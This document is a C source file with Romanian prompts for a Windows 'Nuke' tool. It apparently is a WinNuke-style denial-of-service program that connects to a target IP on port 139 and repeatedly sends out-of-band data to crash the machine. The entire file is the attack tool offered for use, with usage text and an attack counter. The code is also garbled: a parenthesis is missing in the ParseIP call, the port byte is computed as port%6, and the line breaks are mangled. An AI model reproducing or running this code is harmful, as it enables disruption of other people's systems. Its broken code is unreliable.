#include <conio.h> 
#include <stdio.h> 
#include <winsock.h>struct 
{ 
int port; char *targetIP; 
int NumOfAttact, BufSize;} parm;void Pause(void) 
{ 
cprintf ("Apasati orice tasta pentru a renunta..."); 
getch(); 
cprintf ("\r\n"); 
} 
int CheckWinsock() 
{ 
WORD wVersionRequested; 
WSADATA wsaData; 
int err; 
wVersionRequested = MAKEWORD(1, 1); 
err = WSAStartup(wVersionRequested, &wsaData); 
if (err != 0) return err; 
if ( LOBYTE( wsaData.wVersion ) != 1 || 
HIBYTE( wsaData.wVersion ) != 1 ) 
{ WSACleanup(); return -1; 
} return 0;}void ParseIP(char* des, char *theIP){ unsigned int val; char i; 
for (i = 0; i < 4; i++) { if (*theIP != '\0') { val = 0; 
while (*theIP != '\0' && *theIP != '.') { val *= 10; 
val += *theIP - '0'; theIP++; } des[i]= (char)val; 
if (*theIP != '\0') theIP++; } }} 
void ParseParm(int argc, char* argv[]){ char * value; 
for (int i=1; i<argc; i++){ if (argv[i][0]=='/'){ 
argv[i][1]= (char)toupper(argv[i][1]); value = &argv[i][2]; 
switch (argv[i][1]){ case 'P': parm.port = atoi(value); break; 
case 'T': parm.targetIP=value; break; 
case 'N': parm.NumOfAttact = atoi(value); break; 
case 'S': parm.BufSize = atoi(value); break; } } }} 
int main(int _argc, char* _argv[]){ int i, errcode; char *tempbuf; 
SOCKET theSocket; sockaddr theAddr; 
cprintf ("folosire : Nuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]\r\n" 
" port : portul tinta, folositi 139.\r\n" 
" target: adresa iP \"a.b.c.d\".\r\n" 
" num: numarul de atacuri, implicit 10.\r\n" 
" size: numarul de biti in fiecare atac, implicit 1024.\r\n\n"); 
if (CheckWinsock()){ cprintf ("nu merge conexiunea!\n"); 
Pause(); return 1; } 
theSocket= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (theSocket==-1){ 
cprintf ("nu merge conexiunea!\r\n"); Pause(); WSACleanup(); return 2; 
} cprintf ("folosim socket-ul: %d\r\n", theSocket); 
parm.port = 139; parm.targetIP= NULL; 
parm.NumOfAttact = 10; parm.BufSize = 1024; ParseParm(_argc, _argv); 
if (parm.targetIP==NULL){ parm.targetIP = (char*) malloc(256); 
cprintf ("Introduceti Ip-ul: "); scanf ("%s", parm.targetIP); 
cprintf ("\r\n"); } theAddr.sa_family = AF_INET; 
theAddr.sa_data[0]= (char)(parm.port/256); 
theAddr.sa_data[1]= (char)(parm.port%6); 
ParseIP(&theAddr.sa_data[2], parm.targetIP; 
cprintf ("conexiune la %s pe portul: %d\r\n", parm.targetIP, parm.port); 
errcode = connect (theSocket, &theAddr, sizeof(sockaddr)); if (errcode){ 
cprintf ("Eroare.\r\nVerificati daca portul este 'pazit' de un daemon.\r\n"); 
Pause(); WSACleanup(); return 1; } cprintf ("STATUS: Conectat!!\r\n"); 
tempbuf = (char*) malloc(parm.BufSize); 
for (i=0; i<parm.BufSize; i++) tempbuf[i]=0; 
for (i=0; i<parm.NumOfAttact; i++){ 
errcode = send (theSocket, tempbuf, parm.BufSize, MSG_OOB); 
cprintf ("Atac: %d , trimis ", i); if (errcode==-1) cprintf ("eroare.\r\n"); 
else cprintf ("%d bytes.\r\n", errcode); } free (tempbuf); 
closesocket (theSocket); WSACleanup(); cprintf ("gata.\r\n"); Pause(); 
}